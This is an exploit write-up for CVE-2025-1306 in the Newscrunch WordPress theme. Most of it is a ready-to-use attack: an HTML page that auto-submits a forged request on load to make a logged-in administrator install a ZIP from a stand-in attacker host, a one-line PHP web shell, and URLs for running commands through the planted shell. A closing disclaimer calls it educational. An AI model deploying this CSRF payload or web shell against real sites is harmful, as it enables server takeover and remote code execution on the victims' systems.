
Newscrunch <= 1.8.4 - Cross-Site Request Forgery to Arbitrary File Upload
This exploit targets a Cross-Site Request Forgery (CSRF) to Arbitrary File Upload vulnerability (CVE-2025-1306) in the Newscrunch WordPress theme. Due to missing nonce validation in the newscrunch_install_and_activate_plugin() function, an unauthenticated attacker can trick a logged-in administrator into uploading arbitrary files to the server, leading to Remote Code Execution (RCE).
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HExploitability: Requires an administrator to visit a crafted malicious link.
This exploit forces an authenticated administrator to execute a CSRF attack that uploads a malicious ZIP file containing a web shell.
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit CVE-2025-1306 By Nxploit ,Khaled AlEnazi</title>
</head>
<body>
<h2>Click anywhere to load content...</h2>
<script>
function sendExploit() {
var form = document.createElement("form");
form.method = "POST";
form.action = "http://target.com/wp-admin/admin-ajax.php?action=newscrunch_install_activate_plugin";
var input = document.createElement("input");
input.type = "hidden";
input.name = "plugin_url";
input.value = "http://attacker.com/shell.zip";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
window.onload = function() {
sendExploit();
};
</script>
</body>
</html>
📌 Replace:
http://target.com/ with the vulnerable WordPress sitehttp://attacker.com/shell.zip with a malicious ZIP payload containing a web shell.<?php system($_GET['cmd']); ?>
📌 After successful exploitation, access the shell:
http://target.com/wp-content/plugins/shell.php?cmd=whoami
http://target.com/wp-content/plugins/shell.php?cmd=ls
This tool is for educational and security research purposes only. Unauthorized exploitation of vulnerabilities is illegal and punishable by law. The author is not responsible for any misuse or damages caused by this tool. Use responsibly.